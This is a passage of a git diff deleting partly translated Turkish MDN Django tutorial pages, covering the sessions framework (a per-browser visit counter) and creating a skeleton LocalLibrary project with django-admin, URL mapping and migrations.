brief overview of the security features that are provided for Django users out of the box.</dd> - <dt>Deployment to production (TBD)</dt> - <dd>Now that your web application is finished, you will want to upload it to a production server. To make this easier, here we help you find a hosting site that might meet your budget and scaling needs. We then explain some of the changes you need to make to hide any "development settings". Last of all we provide a real "worked example" of how you can install a web application, using hosting on the free tier of the <a href="https://www.heroku.com/">Heroku</a> cloud hosting service.</dd> -</dl> - -<h2 id="Assessments">Assessments</h2> - -<p>The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above</p> - -<dl> - <dt>DIY Mini Blog (TBD)</dt> - <dd>In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.</dd> -</dl> diff --git a/files/tr/learn/server-side/django/sessions/index.html b/files/tr/learn/server-side/django/sessions/index.html deleted file mode 100644 index 9394b62737..0000000000 --- a/files/tr/learn/server-side/django/sessions/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: 'Django Tutorial Part 7: Sessions framework' -slug: Learn/Server-side/Django/Sessions -tags: - - Başlangıç - - CondingScripting - - Makale - - Python - - Server - - Sunucu - - Tutorial - - django - - django oturumları - - django sessions - - oturumlar - - server-side - - sessions - - sunucu tarafı - - Öğretici - - öğren -translation_of: Learn/Server-side/Django/Sessions -original_slug: Öğren/Server-side/Django/Sessions ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div> - -<p class="summary">Bu tutorial, anasayfaya session temelli bir ziyareti sayacı ekleyerek <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> websitemizi genişletmektedir. Bu görece basit bir örnek, fakat kendi sitelerinizdeki bilinmeyen kullanıcılar için kalıcı davranış sağlamak için session framework'ünü nasıl kullanacağınızı göstermektedir.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön şartlar:</th> - <td><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial 6. Bölüm: Generic list ve detail view'lar</a> dahil önceki tüm tutorial konularını tamamlayın</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Session'ların nasıl kullanıldığını anlamak.</td> - </tr> - </tbody> -</table> - -<h2 id="Genel_Bakış">Genel Bakış</h2> - -<p>Önceki tutorial'larda oluşturduğumuz <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> websitesi, kullanıcıların katalogdaki kitap ve yazarlara göz atmalarını sağlar. İçerik, veri tabanından dinamik olarak üretilirken, tüm kullanıcılar siteyi kullandıklarında esasen aynı sayfalar ve bilgi türlerine erişebilecektir.</p> - -<p>"Gerçek" bir kütüphanede, her bir kullanıcıya önceki kullanım ve tercihlerini vs. temel alarak kişiselleştirilmiş bir deneyim sunmayı isteyebilirsiniz. Örneğin, kullanıcının daha önce kabul ettiği uyarı iletilerini siteyi veya mağazayı bir sonraki ziyaret edişlerinde gizleyebilir ve tercihlerine (örn. her bir sayfada görüntülenmesini istedikleri arama sonucu sayısı gibi) saygı duyabilirsiniz. </p> - -<p>Session framework'ü her bir site ziyaretçisine dayalı keyfi veriler depolamanızı ve geri almanızı sağlayarak, bu tür davranışları uygulamanızı sağlar. </p> - -<h2 id="Sessions_Nedir">Sessions Nedir?</h2> - -<p>Web tarayıcılar ve sunucular arasındaki tüm iletişim, <em>stateless</em> bir HTTP protokolü aracılığıyladır. Protokolün stateless oluşundan kasıt, client ve server arasındaki iletilerin birbirlerinden tamamen bağımsız olduğudur— önceki iletilere dayalı davranış veya "dizi" kavramı bulunmamaktadır. Sonuç olarak, <span class="translation">bir istemci ile devam eden ilişkileri takip eden bir siteye sahip olmak istiyorsanız</span>, bunu kendiniz uygulamanız gerekiyor.</p> - -<p>Sessions are the mechanism used by Django (and most of the Internet) for keeping track of the "state" between the site and a particular browser. Session'lar her bir tarayıcı için keyfi veriler depolamanızı sağlar ve <span class="translation">tarayıcı bağlandığında bu verileri sitede bulabilirsiniz</span>. Session ile ilişkili her bir veri öğesi Individual data items associated with the session are then referenced by a "key", which is used both to store and retrieve the data.</p> - -<p>Django uses a cookie containing a special <em>session id</em> to identify each browser and its associated session with the site. The actual session <em>data</em> is stored in the site database by default (this is more secure than storing the data in a cookie, where they are more vulnerable to malicious users). You can configure Django to store the session data in other places (cache, files, "secure" cookies), but the default location is a good and relatively secure option.</p> - -<h2 id="Session'ları_Etkinleştirme">Session'ları Etkinleştirme</h2> - -<p>Sessions <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">iskelet websitesini oluşturduğumuzda</a> (tutorial 2'de) otomatik olarak etkinleştirilir.</p> - -<p>Aşağıda görüldüğü gibi, yapılandırma, proje dosyasının (<strong>locallibrary/locallibrary/settings.py</strong>) <code>INSTALLED_APPS</code> ve <code>MIDDLEWARE</code> kısımlarına kurulur:</p> - -<pre class="brush: python">INSTALLED_APPS = [ - ... -<strong> 'django.contrib.sessions',</strong> - .... - -MIDDLEWARE = [ - ... -<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> - ....</pre> - -<h2 id="Session'ları_Kullanma">Session'ları Kullanma</h2> - -<p>You can access the <code>session</code> attribute in the view from the <code>request</code> parametresi (an <code>HttpRequest</code> passed in as the first argument to the view). This session attribute represents the specific connection to the current user (or to be more precise, the connection to the current <em>browser</em>, as identified by the session id in the browser's cookie for this site).</p> - -<p><code>session</code> attribute'u view'ınızda istediğiniz kadar yazıp okuyabileceğiniz sözlük benzeri bir nesne olup, dilediğiniz gibi değiştirilebilirdir. You can do all the normal dictionary operations, including clearing all data, testing if a key is present, looping through data, etc. Most of the time though, you'll just use the standard "dictionary" API to get and set values.</p> - -<p>The code fragments below show how you can get, set, and delete some data with the key "<code>my_car</code>", associated with the current session (browser). </p> - -<div class="note"> -<p><strong>Note</strong>: One of the great things about Django is that you don't need to think about the mechanisms that tie the session to your current request in your view. If we were to use the fragments below in our view, we'd know that the information about <code>my_car</code> is associated only with the browser that sent the current request.</p> -</div> - -<pre class="brush: python"># Get a session value by its key (e.g. 'my_car'), raising a KeyError if the key is not present -my_car = request.session['my_car'] - -# Get a session value, setting a default if it is not present ('mini') -my_car = request.session.get('my_car', 'mini') - -# Set a session value -request.session['my_car'] = 'mini' - -# Delete a session value -del request.session['my_car'] -</pre> - -<p>The API also offers a number of other methods that are mostly used to manage the associated session cookie. For example, there are methods to test that cookies are supported in the client browser, to set and check cookie expiry dates, and to clear expired sessions from the data store. You can find out about the full API in <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">How to use sessions</a> (Django belgeleri).</p> - -<h2 id="Session_Verisini_Kaydetmek">Session Verisini Kaydetmek</h2> - -<p>Varsayılan olarak, Django yalnızca session veri tabanını kaydeder ve session <em>değiştirildiğinde</em> veya <em>silindiğinde</em> istemciye session çerezini gönderir. Önceki kısımlarda görüldüğü gibi session anahtarını kullanarak bazı verileri güncellerseniz, sonrasında bu konuda endişelenmenize gerek kalmaz! Örneğin:</p> - -<pre class="brush: python"># This is detected as an update to the session, so session data is saved. -request.session['my_car'] = 'mini'</pre> - -<p>Session verisi <em>içersinde</em> bazı bilgileri güncellerseniz, sonrasında Django session'a bir değişiklik yaptığınızı ve veriyi kaydettiğinizi fark etmeyecektir (örneğin, aşağıda gösterildiği gibi, "<code>my_car</code>" verinizin içerisindeki "<code>wheels</code>" verinizi değiştirmek üzereyseniz). Bu durumda session'ı açık bir şekilde değiştirilmiş olarak işaretlemeniz gerekecektir.</p> - -<pre class="brush: python"># Session object not directly modified, only data within the session. Session changes not saved! -request.session['my_car']['wheels'] = 'alloy' - -# Set session as modified to force data updates/cookie to be saved. -<code>request.session.modified = True</code> -</pre> - -<div class="note"> -<p><strong>Not</strong>: Davranışı değiştirebilirsiniz; böylece site veri tabanını güncelleyecek/proje ayarlarınıza (<strong>locallibrary/locallibrary/settings.py</strong>) <code>SESSION_SAVE_EVERY_REQUEST = True</code> komutunu ekleyerek her bir request'teki çerezi gönderecektir.</p> -</div> - -<h2 id="Basit_Örnek_—_Ziyaret_Sayısını_Almak">Basit Örnek — Ziyaret Sayısını Almak</h2> - -<p>Basit bir gerçek dünya örneği olarak, mevcut kullanıcıya <em>LocalLibrary</em> anasayfasını kaç kere ziyaret ettiklerini söyleyemesi için kütüphanemizi güncelleyeceğiz.</p> - -<p><strong>/locallibrary/catalog/views.py</strong> dosyasını açın ve aşağıda kalın olarak gösterilen değişiklikleri yapın. </p> - -<pre class="brush: python">def index(request): - ... - - num_authors=Author.objects.count() # The 'all()' is implied by default. - -<strong> # Number of visits to this view, as counted in the session variable. - num_visits=request.session.get('num_visits', 0) - request.session['num_visits'] = num_visits+1</strong> - - # Render the HTML template index.html with the data in the context variable. - return render( - request, - 'index.html', -<strong> context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors, - 'num_visits':num_visits}, # num_visits appended</strong> - )</pre> - -<p>Here we first get the value of the <code>'num_visits'</code> session key, setting the value to 0 if it has not previously been set. Each time a request is received, we then increment the value and store it back in the session (for the next time the user visits the page). The <code>num_visits</code> variable is then passed to the template in our context variable. </p> - -<div class="note"> -<p><strong>Note</strong>: We might also test whether cookies are even supported in the browser here (see <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">How to use sessions</a> for examples) or design our UI so that it doesn't matter whether or not cookies are supported.</p> -</div> - -<p>Add the line seen at the bottom of the following block to your main HTML template (<strong>/locallibrary/catalog/templates/index.html</strong>) at the bottom of the "Dynamic content" section to display the context variable:</p> - -<pre class="brush: html"><h2>Dynamic content</h2> - -<p>The library has the following record counts:</p> -<ul> -<li><strong>Books:</strong> \{{ num_books }}</li> -<li><strong>Copies:</strong> \{{ num_instances }}</li> -<li><strong>Copies available:</strong> \{{ num_instances_available }}</li> -<li><strong>Authors:</strong> \{{ num_authors }}</li> -</ul> - -<strong><p>You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.</p></strong> -</pre> - -<p>Değişikliklerinizi kaydedin ve test sunucusunu yeniden başlatın. Sayfayı her yenilediğinizde, numara güncellenmelidir.</p> - -<ul> -</ul> - -<h2 id="Özet">Özet</h2> - -<p><em>Bilinmeyen</em> kullanıcılarla etkileşiminizi arttırmak için oturumları kullanmanın ne kadar kolay olduğunu artık biliyorsunuz.</p> - -<p>Sıradaki makalelerimizde, authentication ve authorisation (izin) framework'ünü açıklayacağız ve kullanıcı hesaplarını nasıl destekleyeceğinizi göstereceğiz.</p> - -<h2 id="Ayrıca_bakın">Ayrıca bakın</h2> - -<ul> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Session'lar nasıl kullanılır</a> (Django belgeleri)</li> -</ul> - -<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p> diff --git a/files/tr/learn/server-side/django/skeleton_website/index.html b/files/tr/learn/server-side/django/skeleton_website/index.html deleted file mode 100644 index 1c617bcc75..0000000000 --- a/files/tr/learn/server-side/django/skeleton_website/index.html +++ /dev/null @@ -1,395 +0,0 @@ ---- -title: 'Django Tutorial 2. Bölüm: Websitesi İskeleti Oluşturmak' -slug: Learn/Server-side/Django/skeleton_website -translation_of: Learn/Server-side/Django/skeleton_website -original_slug: Öğren/Server-side/Django/website_iskeleti ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div> - -<p class="summary"><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial</a> serimizin ikinci yazısında, içine siteye özgü ayarları, path'leri, model'leri, view'ları ve template'leri yerleştireceğimiz bir websitesi projesinin "iskelet"ini nasıl oluşturağınızı anlatacağız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Gereksinimler:</th> - <td><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Django geliştirme ortamı kur</a>. <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial</a>'i gözden geçir.</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Kendi website projelerinizi oluşturmak için Django araçlarını kullanabilmek</td> - </tr> - </tbody> -</table> - -<h2 id="Genel_Bakış">Genel Bakış</h2> - -<p>Bu yazıda, içine siteye özgü ayarları, path'leri, model'leri, view'ları ve template'leri(bunlardan sonra bahsedeceğiz) yerleştireceğimiz bir websitesi projesinin "iskelet"ini nasıl oluşturağınızı anlatacağız..</p> - -<p>Süreç gayet açık:</p> - -<ol> - <li><code style="font-style: normal; font-weight: normal; line-height: 1.5;">django-admin</code><span style="line-height: 1.5;"> tool to create the project folder, basic file templates, and project management script (</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">).</span></li> - <li><span style="line-height: 1.5;">Use </span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;"> to create one or more </span><em>applications</em><span style="line-height: 1.5;">.</span> - <div class="note"> - <p><strong>Note</strong>: A website may consist of one or more sections, e.g. main site, blog, wiki, downloads area, etc. Django encourages you to develop these components as separate <em>applications</em>, which could then be re-used in different projects if desired. </p> - </div> - </li> - <li><span style="line-height: 1.5;">Register the new applications to include them in the project. </span></li> - <li><span style="line-height: 1.5;">Hook up the url/path mapper for each application.</span></li> -</ol> - -<p>For the <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> the website folder and its project folder will be named <em>locallibrary</em>, and we'll have just one application named <em>catalog</em>. The top level folder structure will therefore be as follows:</p> - -<pre class="brush: bash"><em>locallibrary/ # Website folder</em> - <strong>manage.py </strong># Script to run Django tools for this project (created using django-admin) - <em>locallibrary/ # Website/project folder </em>(created using django-admin) - <em>catalog/ # Application folder </em>(created using manage.py) -</pre> - -<p><span style="line-height: 1.5;">The following sections discuss the process steps in detail, and show how you can test the changes. At the end of the article we discuss some of the other site-wide configuration you might also do at this stage.</span></p> - -<h2 id="Projeyi_Oluşturma">Projeyi Oluşturma</h2> - -<p>İlk olarak komut istemi/terminali açın, <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Using_a_virtual_environment">sanal ortamda</a> olduğunuza emin olun, Django uygulamalarının bulunmasını istediğiniz yeri açın(<code>cd</code> komutuyla)<span style="line-height: 1.5;"> (<em>belgeler </em>klasörü gibi kolay bulabileceğiniz bir yer olsun) ve yeni websiteniz için yeni bir klasör oluşturun (biz </span><em>django_projects </em>olarak oluşturduk). Sonra <code>cd</code> komutuyla o klasöre girin:</p> - -<pre class="brush: bash">mkdir django_projects -cd django_projects</pre> - -<p>Gösterildiği gibi <code>django-admin startproject</code> komutuyla yeni projeyi oluşturun ve sonra klasörün içine girin.</p> - -<pre class="brush: bash">django-admin startproject locallibrary -cd locallibrary</pre> - -<p><code>django-admin</code> aracı aşağıda görünen şekilde bir klasör/dosya yapısı oluşturur:</p> - -<pre class="brush: bash"><em>locallibrary/</em> - manage.py - <em>locallibrary/</em> - __init__.py - settings.py - urls.py - wsgi.py</pre> - -<p>Bizim çalıştığımız klasör şuna benzer şekilde görünmeli:</p> - -<pre class="syntaxbox">../django_projects/locallibrary/</pre> - -<p><em>locallibrary</em> proje altklasörü websitemiz için giriş noktası:</p> - -<ul> - <li><strong>__init__.py </strong>Python'a bu klasöre Python paketi olarak davranması gerektiğini söyleyen boş bir dosya.</li> - <li><strong>settings.py</strong> tüm website ayarlarının olduğu dosya. Buraya oluşturduğumuz uygulamaları, static dosyalarımızın bulunduğu yeri, veritabanı ayarlarını vs. kaydederiz. </li> - <li><strong>urls.py</strong> sitemizin url-view eşlemelerinin tanımladığımız yer. Burada tüm url eşlemelerini tanımlayabilsek de bazı eşlemeleri ileride göreceğimiz gibi uygulamalara bölmek daha yaygın kullanılır<span style="line-height: 1.5;">. </span></li> - <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> Django uygulamamızın web sunucusuyla iletişim kurmasına yardım eder. Şablon olarak düşünebilirsiniz.</span></li> -</ul> - -<p><strong>manage.py</strong> betiği(script) uygulama oluşturmakta, veritabanı işlemlerinde ve geliştirme ortamı sunucusunu(yerel sunucu: 127.0.0.1:8000) başlatmakta kullanılır. </p> - -<h2 id="Catalog_uygulamasını_oluşturma">Catalog uygulamasını oluşturma</h2> - -<p><em>locallibrary </em>projemizin içinde duracak olan <em>catalog</em> uygulamasını oluşturmak için aşağıdaki komutu çalıştırın (projemizin <strong>manage.py </strong>betiğinin de bulunduğu klasörde çalıştırılmalı):</p> - -<pre class="brush: bash">python3 manage.py startapp catalog</pre> - -<div class="note"> -<p><strong>Not</strong>: Yukarıdaki komut Linux/macOS X içindir. Windows'taki komut şu şekilde olmalı: <code>py -3 manage.py startapp catalog</code></p> - -<p>Windows kullanıyorsanız, bu modül boyunca <code>python3</code> yerine <code>py -3</code> yazmalısınız.</p> - -<p>Python 3.7.0 kullanıyorsanız sadece <code>py manage.py startapp catalog</code> kullanmalısınız.</p> -</div> - -<p>Bu araç yeni bir klasör oluşturup içini uygulamamızın muhtelif kısımları için kullanılacak dosyalarla(aşağıda kalın olarak yazıldı) doldurur. Dosyaların çoğu amaçlarına uygun olarak isimlendirilmiştir (mesela view'lar <strong>views.py'</strong>da, Model'ler <strong>models.py'</strong>da, test'ler <strong>tests.py'</strong>da, site yönetim sayfası ayarları <strong>admin.py'</strong>da, uygulama kayıtları <strong>apps.py'</strong>da bulunur). Ayrıca bu dosyalar ilişkili oldukları nesnelerle çalışırken kullanılabilecek minimal bir kod şablonu da içerir.</p> - -<p>Proje klasörünün son hali şu şekilde görünmeli:</p> - -<pre class="brush: bash"><em>locallibrary/</em> - manage.py - <em>locallibrary/ -</em><strong> <em>catalog/</em> - admin.py - apps.py - models.py - tests.py - views.py - __init__.py - <em>migrations/</em></strong> -</pre> - -<p>In addition we now have:</p> - -<ul> - <li>A <em>migrations</em> folder, used to store "migrations" — files that allow you to automatically update your database as you modify your models. </li> - <li><strong>__init__.py</strong> — an empty file created here so that Django/Python will recognise the folder as a <a href="https://docs.python.org/3/tutorial/modules.html#packages">Python Package</a> and allow you to use its objects within other parts of the project.</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: Have you noticed what is missing from the files list above? While there is a place for your views and models, there is nowhere for you to put your url mappings, templates, and static files. We'll show you how to create them further along (these aren't needed in every website but they are needed in this example).</p> -</div> - -<h2 id="Registering_the_catalog_application">Registering the catalog application</h2> - -<p>Now that the application has been created we have to register it with the project so that it will be included when any tools are run (for example to add models to the database). Applications are registered by adding them to the <code>INSTALLED_APPS</code> list in the project settings. </p> - -<p>Open the project settings file <strong>django_projects/locallibrary/locallibrary/settings.py</strong> and find the definition for the <code>INSTALLED_APPS</code> list. Then add a new line at the end of the list, as shown in bold below.</p> - -<pre class="brush: bash">INSTALLED_APPS = [ - 'django.contrib.admin', - 'django.contrib.auth', - 'django.contrib.contenttypes', - 'django.contrib.sessions', - 'django.contrib.messages', - 'django.contrib.staticfiles', -<strong> 'catalog.apps.CatalogConfig', </strong> -]</pre> - -<p>The new line specifies the application configuration object (<code>CatalogConfig</code>) that was generated for you in <strong>/locallibrary/catalog/apps.py</strong> when you created the application.</p> - -<div class="note"> -<p><strong>Note</strong>: You'll notice that there are already a lot of other <code>INSTALLED_APPS</code> (and <code>MIDDLEWARE</code>, further down in the settings file). These enable support for the <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django administration site</a> and as a result lots of the functionality it uses (including sessions, authentication, etc).</p> -</div> - -<h2 id="Specifying_the_database">Specifying the database</h2> - -<p>This is also the point where you would normally specify the database to be used for the project — it makes sense to use the same database for development and production where possible, in order to avoid minor differences in behaviour. You can find out about the different options in <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#databases">Databases</a> (Django docs). </p> - -<p>We'll use the SQLite database for this example, because we don't expect to require a lot of concurrent access on a demonstration database, and also because it requires no additional work to set up! You can see how this database is configured in <strong>settings.py</strong> (more information is also included below):</p> - -<pre class="brush: python">DATABASES = { - 'default': { - 'ENGINE': 'django.db.backends.sqlite3', - 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), - } -} -</pre> - -<p>Because we are using SQLite, we don't need to do any further setup here. Let's move on!</p> - -<h2 id="Other_project_settings">Other project settings</h2> - -<p>The <strong>settings.py</strong> file is also used for configuring a number of other settings, but at this point you probably only want to change the <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> — this should be made equal to a string from the standard <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">List of tz database time zones</a> (the TZ column in the table contains the values you want). Change your <code>TIME_ZONE</code> value to one of these strings appropriate for your time zone, for example:</p> - -<pre class="brush: python">TIME_ZONE = 'Europe/London'</pre> - -<p>There are two other settings you won't change now, but that you should be aware of:</p> - -<ul> - <li><code>SECRET_KEY</code>. This is a secret key that is used as part of Django's website security strategy. If you're not protecting this code in development, you'll need to use a different code (perhaps read from an environment variable or file) when putting it into production. </li> - <li><code>DEBUG</code>. This enables debugging logs to be displayed on error, rather than HTTP status code responses. This should be set to <code>False</code> on production as debug information is useful for attackers, but for now we can keep it set to <code>True</code>.</li> -</ul> - -<h2 id="Hooking_up_the_URL_mapper">Hooking up the URL mapper</h2> - -<p>The website is created with a URL mapper file (<strong>urls.py</strong>) in the project folder. While you can use this file to manage all your URL mappings, it is more usual to defer mappings to the associated application.</p> - -<p>Open <strong>locallibrary/locallibrary/urls.py</strong> and note the instructional text which explains some of the ways to use the URL mapper. </p> - -<pre class="brush: python">"""locallibrary URL Configuration - -The `urlpatterns` list routes URLs to views. For more information please see: - https://docs.djangoproject.com/en/2.0/topics/http/urls/ -Examples: -Function views - 1. Add an import: from my_app import views - 2. Add a URL to urlpatterns: path('', views.home, name='home') -Class-based views - 1. Add an import: from other_app.views import Home - 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') -Including another URLconf - 1. Import the include() function: from django.urls import include, path - 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) -""" -from django.contrib import admin -from django.urls import path - -urlpatterns = [ - path('admin/', admin.site.urls), -] -</pre> - -<p>The URL mappings are managed through the <code>urlpatterns</code> variable, which is a Python <em>list</em> of <code>path()</code> functions. Each <code>path()</code> function either associates a URL pattern to a <em>specific view</em>, which will be displayed when the pattern is matched, or with another list of URL pattern testing code (in this second case, the pattern becomes the "base URL" for patterns defined in the target module). The <code>urlpatterns</code> list initially defines a single function that maps all URLs with the pattern <em>admin/</em> to the module <code>admin.site.urls</code> , which contains the Administration application's own URL mapping definitions.</p> - -<div class="note"> -<p><strong>Note</strong>: The route in <code>path()</code> is a string defining a URL pattern to match. This string might include a named variable (in angle brackets), e.g. <code>'catalog/<id>/'</code>. This pattern will match a URL like <strong>/catalog/</strong><em>any_chars</em><strong>/</strong> and pass <em>any_chars</em> to the view as a string with parameter name <code>id</code>). We discuss path methods and route patterns further in later topics.</p> -</div> - -<p>Add the lines below to the bottom of the file in order to add a new list item to the <code>urlpatterns</code> list. This new item includes a <code>path()</code> that forwards requests with the pattern <code>catalog/</code> to the module <code>catalog.urls</code> (the file with the relative URL <strong>/catalog/urls.py</strong>).</p> - -<pre class="brush: python"># Use include() to add paths from the catalog application -from django.conf.urls import include -from django.urls import path - -urlpatterns += [ - path('catalog/', include('catalog.urls')), -] -</pre> - -<p>Now let's redirect the root URL of our site (i.e. <code>127.0.0.1:8000</code>) to the URL <code>127.0.0.1:8000/catalog/</code>; this is the only app we'll be using in this project, so we might as well. To do this, we'll use a special view function (<code>RedirectView</code>), which takes as its first argument the new relative URL to redirect to (<code>/catalog/</code>) when the URL pattern specified in the <code>path()</code> function is matched (the root URL, in this case).</p> - -<p>Add the following lines, again to the bottom of the file:</p> - -<pre class="brush: python">#Add URL maps to redirect the base URL to our application -from django.views.generic import RedirectView -urlpatterns += [ - path('', RedirectView.as_view(url='/catalog/')), -]</pre> - -<p>Leave the first parameter of the path function empty to imply '/'. If you write the first parameter as '/' Django will give you the following warning when you start the development server:</p> - -<pre class="brush: python">System check identified some issues: - -WARNINGS: -?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'. -Remove this slash as it is unnecessary. -If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'. -</pre> - -<p>Django does not serve static files like CSS, JavaScript, and images by default, but it can be useful for the development web server to do so while you're creating your site. As a final addition to this URL mapper, you can enable the serving of static files during development by appending the following lines. </p> - -<p>Add the following final block to the bottom of the file now:</p> - -<pre><code># Use static() to add url mapping to serve static files during development (only) -from django.conf import settings -from django.conf.urls.static import static - -urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> -</pre> - -<div class="note"> -<p><strong>Note</strong>: There are a number of ways to extend the <code>urlpatterns</code> list (above we just appended a new list item using the <code>+=</code> operator to clearly separate the old and new code). We could have instead just included this new pattern-map in the original list definition:</p> - -<pre class="brush: python">urlpatterns = [ - path('admin/', admin.site.urls), - path('catalog/', include('catalog.urls')), - path('', RedirectView.as_view(url='/catalog/', permanent=True)), -] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> -</pre> - -<p>In addition, we included the import line (<code>from django.urls import include</code>) with the code that uses it (so it is easy to see what we've added), but it is common to include all your import lines at the top of a Python file.</p> -</div> - -<p>As a final step, create a file inside your catalog folder called <strong>urls.py</strong>, and add the following text to define the (empty) imported <code>urlpatterns</code>. This is where we'll add our patterns as we build the application. </p> - -<pre class="brush: python">from django.urls import path -from catalog import views - - -urlpatterns = [ - -] -</pre> - -<h2 id="Testing_the_website_framework">Testing the website framework</h2> - -<p>At this point we have a complete skeleton project. The website doesn't actually <em>do</em> anything yet, but its worth running it to make sure that none of our changes have broken anything. </p> - -<p>Before we do that, we should first run a <em>database migration</em>. This updates our database to include any models in our installed applications (and removes some build warnings).</p> - -<h3 id="Running_database_migrations">Running database migrations</h3> - -<p>Django uses an Object-Relational-Mapper (ORM) to map Model definitions in the Django code to the data structure used by the underlying database. As we change our model definitions, Django tracks the changes and can create database migration scripts (in <strong>/locallibrary/catalog/migrations/</strong>) to automatically migrate the underlying data structure in the database to match the model.</p> - -<p>When we created the website Django automatically added a number of models for use by the admin section of the site (which we'll look at later). Run the following commands to define tables for those models in the database (make sure you are in the directory that contains<strong> manage.py</strong>):</p> - -<pre class="brush: bash">python3 manage.py makemigrations -python3 manage.py migrate -</pre> - -<div class="warning"> -<p><strong>Important</strong>: You'll need to run the above commands every time your models change in a way that will affect the structure of the data that needs to be stored (including both addition and removal of whole models and individual fields).</p> -</div> - -<p>The <code>makemigrations</code> command <em>creates</em> (but does not apply) the migrations for all applications installed in your project (you can specify the application name as well to just run a migration for a single project). This gives you a chance to checkout the code for these migrations before they are applied — when you're a Django expert you may choose to tweak them slightly!</p> - -<p>The <code>migrate</code> command actually applies the migrations to your database (Django tracks which ones have been added to the current database).</p> - -<div class="note"> -<p><strong>Note</strong>: See <a href="https://docs.djangoproject.com/en/2.0/topics/migrations/">Migrations</a> (Django docs) for additional information about the lesser-used migration commands.</p> -</div> - -<h3 id="Running_the_website">Running the website</h3> - -<p>During development you can test the website by first serving it using the <em>development web server</em>, and then viewing it on your local web browser. </p> - -<div class="note"> -<p><strong>Note</strong>: The development web server is not robust or performant enough for production use, but it is a very easy way to get your Django website up and running during development to give it a convenient quick test. By default it will serve the site to your local computer (<code>http://127.0.0.1:8000/)</code>, but you can also specify other computers on your network to serve to. For more information see <a href="https://docs.djangoproject.com/en/2.0/ref/django-admin/#runserver">django-admin and manage.py: runserver</a> (Django docs).</p> -</div> - -<p>Run the <em>development web server</em> by calling the <code>runserver</code> command (in the same directory as <strong>manage.py</strong>):</p> - -<pre class="brush: bash">python3 manage.py runserver - - Performing system checks... - - System check identified no issues (0 silenced). - August 15, 2018 - 16:11:26 - Django version 2.1, using settings 'locallibrary.settings' - Starting development server at http://127.0.0.1:8000/ - Quit the server with CTRL-BREAK. -</pre> - -<p>Once the server is running you can view the site by navigating to <code>http://127.0.0.1:8000/</code> in your local web browser. You should see a site error page that looks like this:</p> - -<p><img alt="Django Debug page for Django 2.0" src="https://mdn.mozillademos.org/files/15729/django_404_debug_page.png"></p> - -<p>Don't worry! This error page is expected because we don't have any pages/urls defined in the <code>catalogs.urls</code> module (which we're redirected to when we get an URL to the root of the site). </p> - -<div class="note"> -<p><strong>Note</strong>: The above page demonstrates a great Django feature — automated debug logging. An error screen will be displayed with useful information whenever a page cannot be found, or any error is raised by the code. In this case we can see that the URL we've supplied doesn't match any of our URL patterns (as listed). The logging will be turned off during production (when we put the site live on the Web), in which case a less informative but more user-friendly page will be served.</p> -</div> - -<p>At this point we know that Django is working! </p> - -<div class="note"> -<p><strong>Note</strong>: You should re-run migrations and re-test the site whenever you make significant changes. It doesn't take very long!</p> -</div> - -<h2 id="Challenge_yourself">Challenge yourself</h2> - -<p>The <strong>catalog/</strong> directory contains files for the views, models, and other parts of the application. Open these files and inspect the boilerplate. </p> - -<p>As you saw above, a URL-mapping for the Admin site has already been added in the project's <strong>urls.py</strong>. Navigate to the admin area in your browser and see what happens (you can infer the correct URL from the mapping above).</p> - -<ul> -</ul> - -<h2 id="Summary">Summary</h2> - -<p>You have now created a complete skeleton website project, which you can go on to populate with urls, models, views, and templates.</p> - -<p>Now the skeleton for the <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> is complete and running, it's time to start writing the code that makes this website do what it is supposed to do. </p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial01/">Writing your first Django app - part 1</a> (Django docs)</li> - 